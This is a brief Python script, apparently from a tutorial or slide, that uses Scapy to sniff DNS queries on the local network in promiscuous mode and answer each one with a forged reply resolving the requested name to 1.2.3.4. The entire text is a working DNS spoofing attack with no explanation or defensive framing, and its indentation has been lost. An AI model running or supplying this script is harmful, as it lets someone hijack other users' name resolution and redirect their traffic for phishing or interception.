def mkspoof(x):
ip=x.getlayer(IP)
dns=x.getlayer(DNS)
return IP(dst=ip.src,src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)/DNS(id=dns.id,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname, ttl=10,rdata="1.2.3.4"))

while 1:
a=sniff(filter="port 53", count=1, promisc=1)
if not a[0].haslayer(DNS) or a[0].qr: continue
send(mkspoof(a[0]))
[400x264]